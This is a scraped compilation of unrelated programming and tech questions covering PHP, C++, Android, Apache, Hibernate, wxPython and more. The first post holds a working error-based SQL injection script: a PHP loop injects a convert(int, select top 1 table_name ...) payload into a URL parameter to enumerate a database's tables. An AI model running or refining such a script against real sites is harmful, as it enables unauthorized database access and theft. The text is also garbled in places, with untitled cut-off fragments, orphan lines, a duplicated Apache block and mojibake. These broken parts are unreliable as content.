Scanning words with preg_match and adding to CURL query
I'm trying to get all the tables of a particular database in the following
way:
//get_data($url) is a curl function that returns the data.
$remove="''";
do {
$returned_content = get_data($url);
$query ="+and+1=convert(int,
(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+(".$remove.")))--";
$url="http://abc.com/a.aspx?param=1'".$query;
preg_match('~\'(.*?)\'~', $returned_content, $it);
if ($remove) {
$remove = $it[0];
}
else {
$remove.= ','.$it[0];
}
}
while ((stripos($returned_content,'cannot be found') == false) &&
(stripos($returned_content,'no row') == false));
The intended purpose of the above code is to build $remove as
'table1','table2','table3' which can be used in the URL to detect other
tables in the database.
However, after the first query, which is this URL:
http://abc.com/a.aspx?param=1'+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+('')))--
(note the single quotes ('') in the not in clause)
The second query is a malformed URL, where the single quotes ('') disappear:
http://abc.com/a.aspx?param=1'+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+()))--
This leads to an error, and now the preg_match function returns ')', as
the error statement says Incorrect syntax near ')'. This bracket is then
appended to $remove, and then the whole query goes wrong.
How can I fix this code so that $remove is built correctly and lists all
the tables in the DB?
P.S. I know this looks a lot like SQL Injection, but it is a personal
security project I am pursuing.

ItemsSource is empty in constructor of Custom Bound Horizontal ScrollView
ItemsSource is empty in constructor of Custom Bound Horizontal ScrollView
I'm having trouble updating Cheesebarons horizontal list view to the new
v3 MvvmCross. Everything seems to be working correctly except in the
constructor of my "BindableHorizontalListView" control the ItemsSource of
the adapter is null. Which is weird because the context shows that the
view-model property I am attempting to bind to shows very clearly there
are 3 items and the binding seems very straightforward. What am I missing?
I hope I've included enough of the code. I've also tried binding it via
fluent bindings on the "OnViewModelSet" event with the same result.

How to create dropdown with value and text node - WXPython
How to create dropdown with value and text node - WXPython
In HTML I can create drop-down menus like this:
<select name="">
<option value="">TextNode #1</option>
<option value="">TextNode #2</option>
<select>
Now I want something similar in wxPython. The problem is that I have not
found a solution, as it only allows me to place the text and not the
value.
Example wxPython( Create Dropdown ):
DropDownList = []
Options = {0:"None",1:"All",2:"WTF?!!"}
For Value, TextNode in Options:
DropDownList.append( TextNode )
wx.ComboBox(panel,value="Select",choices=DropDownList)
Well... How I can use a value addition to the text node?.. Thanks!

localtime_r support on MinGW
localtime_r support on MinGW
I'm working on a Win32 multithread C++ project and I would like to use one
of the localtime_* thread-safe alternatives to localtime().
Unfortunately I have to use MinGW compiler, and localtime_s cannot be used
outside Microsoft stuff.
The problem is that neither localtime_r is working: the related code
snippet is
#include <ctime>
...
string getCurrentTime()
{
time_t t;
time(&t);
struct tm timeinfo;
//localtime_s(&timeinfo, &t);
localtime_r(&t, &timeinfo);
char buf[128];
strftime(buf, 128, "%d-%m-%Y %X", &timeinfo);
return string(buf);
}
...
This is the compiler output:
error: 'localtime_r' was not declared in this scope
Does MinGW support localtime_r ?
If not, does exist a thread-safe alternative? (excluding boost/QT/etc that
I can't use).

nav links move down. Refresh the page and it's back where it should be. It
doesn't happen every time, but has happened at some point with all the

several times in IE and they don't move.

How to prevent that a Boost::Asio timer blocks the return of the io_service::run()?
How to prevent that a Boost::Asio timer blocks the return of the
io_service::run()?
I have the following (minimized) Class handling my server connection:
class AsioServer {
protected:
boost::asio::io_service ioService;
public:
AsioServer() {}
void add_request() {
//Adding async requests to the ioService
}
void timeout() {
//Stop all pedning async operations
ioService.stop();
}
void perform() {
//Set a timer
boost::asio::deadline_timer timer(ioService);
timer.expires_from_now(boost::posix_time::seconds(5));
timer.async_wait(std::bind(&AsioServer::timeout, this));
//Performe all Async operations
ioService.run();
ioService.reset();
}
};
My Problem is that the deadline timer prevents the return of
ioService.run() until it expires. What I want is the the timer is only
called when expering and then canceling the async operations, but not act
as work in the context of the io_service. Are there timers not acting as
work, or another good way dealing with this situation?

Ruby - writing a method without a "parameter"
Ruby - writing a method without a "parameter"
For example, the array class has a method named ".sort" that you call on
an array with the following syntax:
[2, 3, 4, 1].sort
From my limited knowledge, I only know how to write methods that take an
actual parameter:
def sort(array)
...
end
and are called as such:
sort([2, 3, 4, 1])
How would you go about setting up a method that can be called with the dot
notation (please correct me if I'm wrong) syntax?

How to correctly run an infinite loop and still work with buffers in a VIM

I am writing a VIM plugin in Python. I would like to be able to run a
function that would wait for events in the background and update a buffer
when needed, without freezing the whole window. Is that possible?
I tried running a separate thread, which didn't help. The changes in the
buffer are reflected only when the function returns (and the blocking
thread terminates).

C MySQL Types Error
C MySQL Types Error
I'm trying to store results taken from a MySQL query into an array of
structs. I can't seem to get the types to work though, and I've found the
MySQL documentation difficult to sort through.
My struct is:
struct login_session
{
char* user[10];
time_t time;
int length;
};
And the loop where I'm trying to get the data is:
while ( (row = mysql_fetch_row(res)) != NULL ) {
strcpy(records[cnt].user, &row[0]);
cnt++;
}
No matter what I try though I constantly get the error:
test.c:45: warning: passing argument 1 of 'strcpy' from incompatible
pointer type
/usr/include/string.h:128: note: expected 'char * __restrict__' but
argument is of type 'char **'
test.c:45: warning: passing argument 2 of 'strcpy' from incompatible
pointer type
/usr/include/string.h:128: note: expected 'const char * __restrict__' but
argument is of type 'MYSQL_ROW'
Any pointers?

How to do a clear database design
How to do a clear database design
I'm designing a database.
On my system, users can do this:
Sent message to other users with text and/or files (images, videos, etc.)
Sent a friendship request to other users without any text.
I thought that messages and friendship request are the same (a friendship
request is a type of message):
But, I think I can split that table into two tables, to make my model more
clear:
What is your opinion? One or two tables?

SQL job failing only on particular instances
SQL job failing only on particular instances
We have an application ,where the session data of the application is
stored in a table, from that table we have a SQL job which places the
above data in one more table segregating it more meaningfully.
When we created the job ,the job passed in DEV environment and TEST ,but
when we implemented the job in production and stage, the job is failing
with below error.
Conversion failed when converting date and/or time from character string
We tried restoring the DB to some other instance other than where the
application DB resides and the SQL job is completing successfully. The Job
is failing only in the instance where application DB resides.
Steps what we tried: We tried comparing the SQL configuration of the
instances where the job completed successfully to the instance where it is
failing, no differences we tried executing the stored proc manually
writing some print statements to see if it really a code issue, this
didn't helped us since the job is not failing for a particular session
GUID and the same step is passing in DEV environment.
We are not able to figure out why this is happening only on instances
where application DB resides.

Hibernate HQL join fetch not fetching
Hibernate HQL join fetch not fetching
I have the following query and method
private static final String FIND = "SELECT DISTINCT domain FROM Domain
domain LEFT OUTER JOIN FETCH domain.operators JOIN FETCH
domain.networkCodes WHERE domain.domainId = :domainId";
@Override
public Domain find(Long domainId) {
Query query = getCurrentSession().createQuery(FIND);
query.setLong("domainId", domainId);
return (Domain) query.uniqueResult();
}
With Domain as
@Entity
@Table
public class Domain {
@Id
@GenericGenerator(name = "generator", strategy = "increment")
@GeneratedValue(generator = "generator")
@Column(name = "domain_id")
private Long domainId;
@Column(nullable = false, unique = true)

@JoinTable(joinColumns = {

}
I would expect this single query to fetch the Set<NetworkCode> and
Set<Domain> relations, but it doesn't. Say that the Domain I query has two
operators, Hibernate would perform 1 + 2 * 2 = 5 queries
Hibernate: select distinct domain0_.domain_id as domain1_1_0_,

PHP Project : How to handle general configuration data?
PHP Project : How to handle general configuration data?
I'm currently starting the conception of a new project that will use
either Zend Framework 2 or Symfony 2.
I am currently wondering, as I'm quite a newbie in data modeling and
application conception, how to handle general configuration data that
wouldn't be linked to my entities. For example, I have constants, numbers,
and maybe even texts and medias that should be configurable via an
administration and that concerns the whole application, but that is not
related to my Model data (for example, the maximum price of products, some
general ranges, etc.. that I don't know at all how to store). So, should I
:
Create a "parameter" table or something related, that would store all my
global parameters of my application?
Use INI files or YML files (like in Symfony, if I finally use this one) to
store my parameters? If so, how to handle them? What are the best
practices?
Any better solution for that task?
The only possibility I found was with Symfony, using config.yml files or
generally YML files to store my general configuration. But what are the
best practices for this kind of storage? How to securely manage them?
I hope this question is not too general.
Thank you.

Angluar.js & Bootstrap - jQuery Dependency
Angluar.js & Bootstrap - jQuery Dependency
According to Bootstrap 3 docs (http://getbootstrap.com/javascript/),
Bootstrap 3's js components depend on jQuery.
Plugin dependencies
Some plugins and CSS components depend on other plugins. If you include
plugins individually, make sure to check for these dependencies in the
docs. Also note that all plugins depend on jQuery (this means jQuery must
be included before the plugin files).
I am looking into using Angular.js, where everyone says "drop jQuery!" It
seems like the Angular team took a swipe at Bootstrap v2.3.2
(http://angular-ui.github.io/bootstrap/). Is there anything similar or a
work around for Bootstrap 3? Will I just have to live with jQuery for the
time being?
Thanks

Wp Favorites and Buddypress profile?
Wp Favorites and Buddypress profile?
I have got this plugin to work efficiently, but I am looking to learn how
to allow other members to see all other members favorites (not just their
own) in their Buddypress profile? I read another question that gave a
partial answer using this code
wpfp_get_users_favorites($GLOBALS['bp']->displayed_user->userdata->user_login);
but I want to understand how and where to edit the code in the
wp-favorites files. If I add a tab in the BP profile, what code would I
need to add to show the members favorites?
I hope I made this clear enough. Thanks

Why would the same payload have a slightly different looking IEEE 802.15.4 frame three days later?
Why would the same payload have a slightly different looking IEEE 802.15.4
frame three days later?
I have two xbee S1s that successfully communicate with each other. But I
am trying to get one of them to receive IEEE 802.15.4 frames from an Atmel
transceiver. The goal, of course, is to "trick" an xbee into thinking it
is talking to another xbee, when in reality it will be talking to the
Atmel transceiver. The only way, as far as I can tell, to do this is to
monitor the packets transmitted by an xbee using a sniffer and clone them
on the Atmel transceiver.
And here are my findings:
The packet sniffer shows the following traffic when entering a single
ASCII character "m" from an xbee S1:
The sniffer shows the following when sending a single ASCII character "k":
The sniffer shows the following when sending the same ASCII character "k"
two 3 days ago:
Aside from time stamps, why would the payload have "a*d*" one day and
"a*23" another day?
Would appreciate if the wireless network experts from the community could
weigh in.

How to receive socket correctly
How to receive socket correctly
I'm trying to send the pictures between two android devices, but there is
a transmission problem I can't figure out. Someone tell me to revise the
wile loop, but it still do not work. When I tested my project on the
device, there wasn't problem with the connection. But, as the transmission
task started, the sending client was stopped and "transfer erro" msg
showed up on the receiver. Is there anyone knows what can I do to my
program? Here are my two mainly parts of sending and receiving.
I'll be very appreciative of any help. Thank you.
sending part:
s = new Socket("192.168.0.187", 1234);
Log.d("Tag====================","socket ip="+s);
File file = new File("/sdcard/DCIM/Pic/img1.jpg");
FileInputStream fis = new FileInputStream(file);
din = new DataInputStream(new BufferedInputStream(fis));
dout = new DataOutputStream(s.getOutputStream());
dout.writeUTF(String.valueOf(file.length()));
byte[] buffer = new byte[1024];
int len = 0;
while ((len = din.read(buffer)) != -1) {
dout.write(buffer, 0, len);
tw4.setText("8 in while dout.write(buffer, 0, len);");
}
dout.flush();
the sending part can work smoothly and no erro showed up after the while
loop overed
receiving part:
try {
File file = new File("/sdcard/DCIM/img1.jpg");
DataInputStream din = new DataInputStream(new
BufferedInputStream(client.getInputStream()));
bis = new BufferedInputStream(client.getInputStream());
Log.d("Tag====================","din="+s);
FileOutputStream fos = new FileOutputStream(file);
dout = new DataOutputStream(new BufferedOutputStream(fos));
byte[] buffer = new byte[1024];
int len = 0;
while ((len = bis.read(buffer)) != -1) {
dout.write(buffer, 0, len);
}
dout.flush();
dout.close();
} catch (Exception e) {
handler.post(new Runnable() {
public void run() {
tw1.setText("transmission error");
}});
About the receiving part seems even stuck at the "DataInputStream din =
new DataInputStream(new BufferedInputStream(client.getInputStream()));"
and catch the exception.
Thanks again.

How to find the number of strings that are in the particular range FAST?
How to find the number of strings that are in the particular range FAST?
I was given a question:
Given a list of strings, and a list of queries: START and END, both of
which are strings. I have to find the number of strings that are in the
range of [START, END)
For example: a list of strings: A, AA, AB, CD, ZS, XYZ a list of queries:
A, AA
A, CC
AB, ZZ
AC, CD
The output should be:
1
3
3
0
The way I approach this problem is that: while iterating through the list
of strings, I create an AVL tree by inserting new string one by one. (At
first, I used unbalanced BST but I got Time Limit.) When doing the
comparison, I use compareTo function in java String.
After creating the AVL tree, I run the query that counts from [start,
end). My method is that
1. let v = root.
2. if v==null -> return 0
else if v.value < start -> count(v.right)
else if v.value >= end -> count(v.left)
else 1 + count(v.right) + count(v.left)
However, I still got time limit pernalty :(
Therefore, I change method by creating hash function by hashing into
double and instead of using compareTo, I compared the hash value instead.
But, I still got time limit!
So, I store the value of subtree size into each vertex, and instead of
using count or the time, I add more conditional statements, some of which
can use the size of the subtree instead of calling count function
recursively.
Any suggestion to me to get it run in a particular time? :\

object 2 -> "b", 300, 0
object 3 -> "c", 200, 200
object 4 -> "b", 400, 0

Gnome / GUI Linux ( Centos ) How to make sure every icon is either a folder or a file that all look alike?
Gnome / GUI Linux ( Centos ) How to make sure every icon is either a
folder or a file that all look alike?
Dear Sir/Madam
it seems obvious human mind goes to places by looking at
the designs of icons.
I need to not look at designs. i need to simply know if
something is a folder or a file.
i do not want to see any other icon in my desktop.
perhaps this will permit me not to leak thoughts to
different direction, and i might become healthier as a result.
how can i go about this ?
so far the only solution i found is, deleting the folder
/user/share/icons/
completely, but now all icons are blank white. even for folders.
i need 2 custom icons, 1 for folders, and 1 for files.
i do not want to see any other icon in my desktop except for application's
gui's of course.

Local smallness of Lawvere theories
Local smallness of Lawvere theories
Reading this blog post, I'm trying to care about foundational matters.
To summarize the first part of the article, living in a univers $\mathcal
V$ of sets, one defines a Lawvere theory as follow : given a locally small
category $\mathbf C$ with a faithful functor $U \colon \mathbf C \to
\mathbf{Sets}$, the Lawvere theory $T$ of $\mathbf C$ is the full
subcategory of $[\mathbf C, \mathbf{Sets}]$ with objects the finites
powers of $U$ : $1,U,U^2,\dots$
For algebraic examples as $\mathbf C = \mathbf{Grps}, \mathbf{Rings}$,
etc., one finds $T$ equivalent to $\mathbf C$, which makes me thinks that
we can ensure the local smallness of $T$. But how is that since $[\mathbf
C, \mathbf{Sets}]$ is not a priori locally small ? Or is $T$ locally small
in the algebraic cases because of the left adjoint of $U$ which makes it
representable ?

Does the looting enchantment affect drops from players?
Does the looting enchantment affect drops from players?
I have been playing on a multiplayer server and I was wondering if I could
enchant my sword with looting to get extra drops from players.
Btw, I'm not sure if looting effects the amount of items dropped or the
chance of drop rate. If it only effects the chance then looting wouldn't
work on players. I really doubt that looting would affect the amount of
items dropped but I have a looting Diamond Sword and would like to kill
people.

Modelling rational power functions as cones for conic quadratic programming
Modelling rational power functions as cones for conic quadratic programming
It's quite easy to find documentation online that shows that conic
quadratic programming can be used with functions that have ration powers,
such as x^(3/2). example
I can also find examples of these functions actually being modelled as
cones, for instance here in appendex B is x^(3/2)
However, what I cannot find is an explanation of how you come up with the
cones to model an arbitrary ration power function. Is there an algorithm?
Is it pulled from thin air?
For clarity, here is the example in appendix B above of X^(3/2).
Model |x|^3/2 ¡Ü t
as a conic quadratic constraint.
We initially represent it as
−z ¡Ü x ¡Ü z,
z^2
¡Ìz ¡Ü t, z ¡Ý 0
using an additional variable z. The only non-linear constraint is z^2/¡Ìz
¡Ü t, which can be
represented equivalently as
z^2 ¡Ü 2st
w^2 ¡Ü 2vr
z = v
s = w
r = 1
8
s, t, v, r ¡Ý 0,
But there is no discussion of how to get from point A to point B and I
haven't really found it discussed anywhere that I can understand...

301 redrict - ssl https://www.domain.com to https://domain.com without wildcard
301 redrict - ssl https://www.domain.com to https://domain.com without
wildcard
my SSL Certificate only supports domain.com NOT www.domain.com.
So I would like to redrict from https:// www. domain .com to https://
domain .com.
The problem is, it doesnt work. No matter if i try it via. the apache site
config or htaccess. The redrictions from http work perfect.
Is it loading the Certificate first and so if none exists for this domain
it doesnt redrict ?
RewriteEngine On
RewriteCond %{HTTPS} =on
RewriteCond %{HTTP_HOST} ^www\.meinedomain\.de$ [NC]
RewriteRule ^(.*) https://meinedomain.de/$1 [L,R=301]

How can I write to an xml document with PHP
How can I write to an xml document with PHP
I have searched for a while on how to do this, so finally I just figured I
would ask about it. I need to be able to write to an item to an rss file
(basically xml) and I need a way to use PHP or Javascript to write a new
<item> tag with all of its required child elements, such as title,
description and link. And I also need to get the values that go inside the
new elements in the xml file from a form that passes along with the post
method title, desc and link. Thanks for your cooperation.

Am working in a project where i should give a crystal reports RPT file as

But am facing a problem in loading the report itself so i have used

Squid Proxy process not running
Squid Proxy process not running
Hey community,
some days ago my squid crashed. I'm running squid 2.6 STABLE21 on CentOS.
The output of the "show squid status" command is just
squid dead but pid file exists
starting the service displayed an "OK" but trying to stop the squid
failed. The weird thing is, that the squid service is not listed in the
"Task-Manager"
So I deleted the /var/run/squid.pid file and tried to restart the service,
but I got the following message after executing the command:
squid: ERROR: Could not send signal 0 to process 3618: (3) No such process
Even restarting the system after that changed nothing.
Also I found some interesting stuff in the /var/log/squid/cache.log
2013/08/20 07:57:43| /var/spool/squid/swap.state: (30) Read-only file
system FATAL: storeAufsDirOpenSwapLog: Failed to open swap log. Squid
Cache (Version 2.6.STABLE21): Terminated abnormally
I didn't change anything recently. Why is that a Read-only file system now?
I really hope these error messages make sense to someone of you. Any help
will be highly appreciated!

Transfer In-App Purchase Content
Transfer In-App Purchase Content
I have hosted content with apple (.pkg file and within are short videos
available as IAP to the user) so far using RW tutorial the code goes as
far as allowing the user to purchase the content and all it does is mark
it with a TICK.
Within the tutorial
(http://www.raywenderlich.com/21081/introduction-to-in-app-purchases-in-ios-6-tutorial)
ray provides the code beneath however it doesnt seem to do anything as
when testing the IAP (non consumable) within my app using a test user....
all it does is let me login with my test user credentials and mark that
purchase with a tick. Now how does the user know what has happened? where
is the content? how can it be accessed by the user within the app?
- (void)provideContentForProductIdentifier:(NSString *)productIdentifier {
[_purchasedProductIdentifiers addObject:productIdentifier];
[[NSUserDefaults standardUserDefaults] setBool:YES
forKey:productIdentifier];
[[NSUserDefaults standardUserDefaults] synchronize];
[[NSNotificationCenter defaultCenter]
postNotificationName:IAPHelperProductPurchasedNotification
object:productIdentifier userInfo:nil];
}
It seems like this code above is unfinished as Ray mentions in the
tutorial that the tutorial is too long and because of that he didnt wanna
add the process of how to download and access the content purchased by the
user.
What can i add to the code so that it shows the downloading progress, and
after the download has finished it transfers the downloads/content
purchased by the user back into the app or specific view controller so
that its accessible to the user?
Please all suggestions are welcome, i have been stuck on this for over two
weeks and have looked everywhere but everyone uses different methods which
when i try them just lead me to having errors upon errors.... if someone
is also willing to help me through chat that would be awesome. Thanks in
advance to the kind soul who does.

MatPlotLib and PyQt plot and additional data to printer
MatPlotLib and PyQt plot and additional data to printer
I have a bar plot and additional data that I am showing in a PyQt
MainWindow. I need to be able to print this plot and data on paper, but
don't know how to go about it.
I know how to save the plot to a pdf using print_figure and then send to a
printer, but this does not allow me to place the additional data on the
same piece of page as the plot. I have looked around and cannot find a way
to get the plot and data to print together. Any suggestions?

Parsing Stackoverflow Posts.xml data dump file crashes the program, gives ascii encoding error
Parsing Stackoverflow Posts.xml data dump file crashes the program, gives
ascii encoding error
I have downloaded Stackoverflow June 2013 data dump and now in the process
of parsing the XML files and storing in MySQL database. I am using Python
ElementTree to do it and it keeps crashing and giving me encoding errors.
Snippet of parse code:
#Parse XML directly from the file path
tree = xml.parse(("post.xml").encode('utf-8').strip())
#Get the root node
row = tree.findall("row")
It's giving me following errors:
'ascii' codec can't encode character u'\u2019' in position 248: ordinal
not in range(128)
I also tried using the following but the problem persists.
.encode('ascii', 'ignore')
Any advise to fix the problem will be appreciated. Also, if anyone has
link to the clean data will also help.
Also, my final goal is to convert the data into RDF, so if anyone has
StackOverflow data dump in RDF format, I'll be grateful.
Thanks in advance!
p.s This is the XML row that causes problem and crashes the program:
<row Id="99" PostTypeId="2" ParentId="88"
CreationDate="2008-08-01T14:55:08.477" Score="2"
Body="<blockquote>
 <p>The actual resolution of
gettimeofday() depends on the hardware architecture. Intel processors as
well as SPARC machines offer high resolution timers that measure
microseconds. Other hardware architectures fall back to the system's
timer, which is typically set to 100 Hz. In such cases, the time
resolution will be less accurate.

Set up apache Virtual Host to serve static files
Set up apache Virtual Host to serve static files
I'm trying to set up a development environment for a javascript web
application using apache, but I can't seem to do even the simplest of
things, like setting up a virtual host to serve the static html, js, and
other file types.
Here's what I'm trying to do in httpd-vhosts.conf:
<VirtualHost *:80>
ServerAdmin test@localhost
ServerName www.nonlocal-blight.com
ServerAlias www.local-blight.com
DocumentRoot "/Apache24/documents/WebContent"
<Directory "WebContent">
Options Indexes FollowSymLinks
AllowOverride None
Order allow,deny
Allow from all
</Directory>
</VirtualHost>
I've got an index.html file in WebContent, but whether I try to go to
www.local-blight.com, or www.local-blight.com/index.html, I always get
"Oops! Google Chrome could not find [whatever]". I've tried removing the
ServerAlias, a different folders for the Document root, removing the line
Options Indexes FollowSymLinks and everything.
I've tried using httpd.exe -S to check my virtual host configuration, but
so far as I can see, the output looks good:
C:\Apache24\bin>httpd.exe -S

I'm trying to set up a development environment for a javascript web
application using apache, but I can't seem to do even the simplest of
things, like setting up a virtual host to serve the static html, js, and
other file types.
Here's what I'm trying to do in httpd-vhosts.conf:
<VirtualHost *:80>
ServerAdmin test@localhost
ServerName www.nonlocal-blight.com
ServerAlias www.local-blight.com
DocumentRoot "/Apache24/documents/WebContent"
<Directory "WebContent">
Options Indexes FollowSymLinks
AllowOverride None
Order allow,deny
Allow from all
</Directory>
</VirtualHost>
I've got an index.html file in WebContent, but whether I try to go to
www.local-blight.com, or www.local-blight.com/index.html, I always get
"Oops! Google Chrome could not find [whatever]". I've tried removing the
ServerAlias, a different folders for the Document root, removing the line
Options Indexes FollowSymLinks and everything.
I've tried using httpd.exe -S to check my virtual host configuration, but
so far as I can see, the output looks good:
C:\Apache24\bin>httpd.exe -S

Show an object's rating with letsrate
Show an object's rating with letsrate
I'm creating a music album review site, where the user posts album reviews
(pins), and will select 1-5 stars to display on the show page. I'm using
the letsrate gem and it works fine to input the stars on the form when
submitting the new pin and editing. Now I need to display that input on
the show page.
When I have <%= @pin.rates %> on the show page, it displays this: [#<Rate
id: 8, rater_id: 1, rateable_id: 36, rateable_type: "Pin", stars: 4.0,
dimension: nil, created_at: "2013-08-19 22:28:36", updated_at: "2013-08-19
22:28:36">]
I need to get that stars: 4.0 to display the four stars. (and not allow
them to be edited in the show view)
This is my rate model:
class Rate < ActiveRecord::Base
belongs_to :rater, :class_name => "User"
belongs_to :rateable, :polymorphic => true
belongs_to :pin
attr_accessible :rate, :dimension
end
I saw this question posted, but it doesn't explain much about how to use
the helper: Displaying Individual User Ratings (letsrate gem)
Any suggestions would be greatly appreciated.

How to call an external java function with Xalan processor
How to call an external java function with Xalan processor
I'm having trouble to call an external java function in my XSL code with
Xalan processor.
The error I get is :
Exception in thread "main" java.lang.RuntimeException:
java.lang.NoSuchMethodException: For extension function, could not find
method
org.apache.xml.utils.NodeVector.incrementPropertyId([ExpressionContext,]
).
I have a java class named Util.java in the folder where I execute my
compile command.
In my xsl file, I've declared my namespace as follow :
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:java="http://xml.apache.org/xslt/java"
exclude-result-prefixes="java"
xmlns:util="xalan://Util">
And I call my function using :
<xsl:copy-of select="incrementPropertyId(blablabal)"/>
So I suppose my problem comes from my namespace, but what is wrong with it ?
Also, It's a xsl 1.0 stylesheet.
Thanks for your help
Edit :
In my Util.java file, I have no package declared since I'm at the root...
should I add a package Util; definition to my class ?

Why is floating point preferred over long for precise tasks?
Why is floating point preferred over long for precise tasks?
Why is float preferred for precision? Couldn't very large integers to
represent the precision that float give and be deterministic across all
machines? For example, an object moving 0.48124 meters in floating point
could instead be represented by an object moving 48124 millimeters in int
or long.

Android In App purchases not syncing immediately across multiple devices
Android In App purchases not syncing immediately across multiple devices
I purchased an item on one device. Then I go to the other device, launch
the App, but the item's purchase information is still not available for
use on the second device (iabhelper does not return the item when you
query the inventory). Attempting to purchase just shows the "Already
owned" dialog. (I could possibly use this as a point to go ahead and
download the item, but feels weird...)
The only solution that works so far is if I restart the device, then I
immediately see the Download option in my UI (instead of Buy), since
Iabhelper then returns the correct info)
Anybody else face this issue? Is there a workaround which makes it
seamless to the user?

Connecting SeekBark to MediaPlayer isn't working
Connecting SeekBark to MediaPlayer isn't working
I've been following a tutorial to implement a SeekBar to my app but it
isn't working. Here's how I'm trying to do it.
Run() method:
public void run(){
int currentPosition = 0;
int total = player.getDuration();
sBar.setMax(total);
while (player.isPlaying()) {
try {
Thread.sleep(1000);
currentPosition = player.getCurrentPosition();
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
sBar.setProgress(currentPosition);
}
}
sBar is seekbar, I declared a global variable.
Now the problem is that there was nowhere mentioned in the tutorial where
to then call this run method? I tried calling it right after the
MediaPlayer is started but it isn't working.

Inserting text inputted from a form into database, am I doing it securely?
Inserting text inputted from a form into database, am I doing it securely?
With phpMyAdmin I create a MySQL database for usage with a simple form
where the user inputs text and I save it into a table.
I'm not massively experienced with security so I want to make sure I'm
doing things right.
Basically, for accessing the database in code, I created a user with only
privileges to insert into the database. That's it. I log in with that user
in the code to insert the data.
However, in the code I log in with seemingly plain text, which I'm quite
sure is a bad idea. I use new mysqli(...) to log in, and I just supply the
user and password as a string. Is this plain text and a security issue? If
so, how should I be doing it?
And I'm storing user email addresses. I escape the data to prevent
injection attacks, but do I need to store it hashed like I would a
password?
Thanks, I just want to make sure I'm handling the security side of this
appropriately. Is there anything else I should be keeping in mind?

I currently have internet access at HTPC through wifi from Router A.
I want to have internet access for HTPC and devices after Router B.
As of now I don't care that devices after Router B see devices before
Router B.
I would like to know how to get internet access for devices after Router
B, while keeping internet access of HTPC. HTPC might occasionally pull
internet content through OpenVPN.
I tried [Networks Settings] => [Wired] => [Options] => [IPv4 Settings] =>
[Method:] = "Shared to other computers" on HTPC Linux Mint 15, but it
didn't work. I don't know anymore where to look to find a solution, if
any.

github: grunt with Travis
github: grunt with Travis
It took me some time to get Travis run my jasmine test using grunt. Here
is my .travis.yml file
language: node_js
node_js:
- 0.10
before_script:
- npm install -g grunt-cli
script: grunt test --verbose --force
However, when you do npm init the generated package.json also has a
'scripts' section. Here is a snippet of my package.json file
...
"main": "my-project",
"scripts": {
"test": "grunt test"
},
"repository": {
...
With this package.json grunt works, however, I don't understand why you
have to define your test again for travis in .travis.yml. Is it because I
do something wrong ?

Override an inline CSS style
Override an inline CSS style
I'm using Twitter's typeahead script to autosuggest with my search form.
However, the script generates its own CSS styles, which I can't seem to
override. You can see the problem here:
http://bahcalculator.org/dev/nano.php. I tried to create a copy of the
style .tt-hint within my style sheet, but the inline style is overriding
it. How can I make .tt-hint inherit the styles from my form?

HTML5's !doctype is messing up my styles
HTML5's !doctype is messing up my styles
I'm currently working on some simple gallery, that should show thumbnails
of a fixed size of 148px.
When I specify <!doctype html> at the very beginning of the file it messes

Without this line (I guess the browser is working in HTML4 mode then) it
looks correct:

Write custom widget with GTK3
Write custom widget with GTK3
I am trying to find the simplest example of a custom widget being written
for Gtk-3.
So far the best thing I've found is this (using PyGTK), but it seems to be
targeted to Gtk-2.
BTW: I don't care the language it is written in, but if we can avoid C++,
much better!

get that the type is simply not defined on my Azure server and needs to

Is break; required after die() php
Is break; required after die() php
I've been thinking to much...
In the area of switch case is break; required after die()
Example:
switch($i){
case 0:
die('Case without break;');
case 1:
die('Case with break;');
break;
}

Calculate length of text entered in RichTextBox c# winform
Calculate length of text entered in RichTextBox c# winform
I have RichTextBox and I want to calculate the length of text entered in
the KeyDown event. The problem is for characters in capital form I have to
press Shift which is also getting calculated in the length. See the
following code:
private void rtfText_KeyDown(object sender, KeyEventArgs e)
{
if (e.Modifiers != Keys.Shift)
{
var val = (char)e.KeyValue;
string _typed += val;
}
}
For texts like "Win" with capital 'W' the length of _typed is shown as 4
where as it is 3. How to solve this ?

Is there any reason not to install PHP as 64bit on a Windows 2008 R2 server?
Is there any reason not to install PHP as 64bit on a Windows 2008 R2 server?
Do all the modules and libraries (third party and non-third party) work in
64bit? I read other questions on SO, but I have not seen anything recent.
I wanted to install 5.5.1 64bit. Is 64bit flaky?
Also was hoping to find out if there is any advantage to 64 over 32 other
than the size of an integer or other number.

How to fully span right-hand div, when left div is fixed size?
How to fully span right-hand div, when left div is fixed size?
I'm having two div layouted as inline-block. I want the left div to be of
a fixed size and the right to fully span of what is left on the line - but
never move to the next line. So, to divs on the same line. One is fixed,
the other fully spans.
I prepared a JSFiddle, which is NOT what I intended, because the divs are
on seperate lines. Any CSS-expert that did this before?
